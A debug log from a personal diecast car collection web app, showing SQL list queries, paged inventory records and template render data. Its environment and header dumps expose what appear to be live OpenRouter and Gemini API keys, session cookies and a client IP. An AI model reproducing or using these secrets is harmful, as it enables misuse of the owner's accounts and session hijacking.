      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T09:08:01.402Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T09:08:01.620Z server-connect:router Serving templateView /
2026-02-04T09:08:01.621Z server-connect:app Executing action step identify
2026-02-04T09:08:01.621Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:01.621Z server-connect:output identity: 1
2026-02-04T09:08:01.621Z server-connect:app Executing action step restrict
2026-02-04T09:08:01.621Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:08:01.621Z server-connect:output restrict: undefined
2026-02-04T09:08:01.622Z server-connect:app Executing action step restrict
2026-02-04T09:08:01.622Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:08:01.622Z server-connect:output restrict: undefined
2026-02-04T09:08:01.622Z server-connect:router Render template layouts/main
2026-02-04T09:08:01.622Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T09:08:09.557Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T09:08:09.557Z server-connect:app Executing action step identify
2026-02-04T09:08:09.557Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:09.557Z server-connect:output identity: 1
2026-02-04T09:08:09.557Z server-connect:app Executing action step restrict
2026-02-04T09:08:09.557Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:08:09.558Z server-connect:output restrict: undefined
2026-02-04T09:08:09.558Z server-connect:app Executing action step paged
2026-02-04T09:08:09.558Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T09:08:09.560Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T09:08:10.621Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T09:08:10.622Z server-connect:app Executing action step identify
2026-02-04T09:08:10.622Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:10.622Z server-connect:output identity: 1
2026-02-04T09:08:10.622Z server-connect:app Executing action step restrict
2026-02-04T09:08:10.622Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:08:10.622Z server-connect:output restrict: undefined
2026-02-04T09:08:10.622Z server-connect:app Executing action step paged
2026-02-04T09:08:10.622Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T09:08:10.624Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T09:08:10.837Z server-connect:router Serving templateView /
2026-02-04T09:08:10.837Z server-connect:app Executing action step identify
2026-02-04T09:08:10.837Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:10.837Z server-connect:output identity: 1
2026-02-04T09:08:10.837Z server-connect:app Executing action step restrict
2026-02-04T09:08:10.837Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:08:10.838Z server-connect:output restrict: undefined
2026-02-04T09:08:10.838Z server-connect:app Executing action step restrict
2026-02-04T09:08:10.838Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:08:10.838Z server-connect:output restrict: undefined
2026-02-04T09:08:10.838Z server-connect:router Render template layouts/main
2026-02-04T09:08:10.838Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
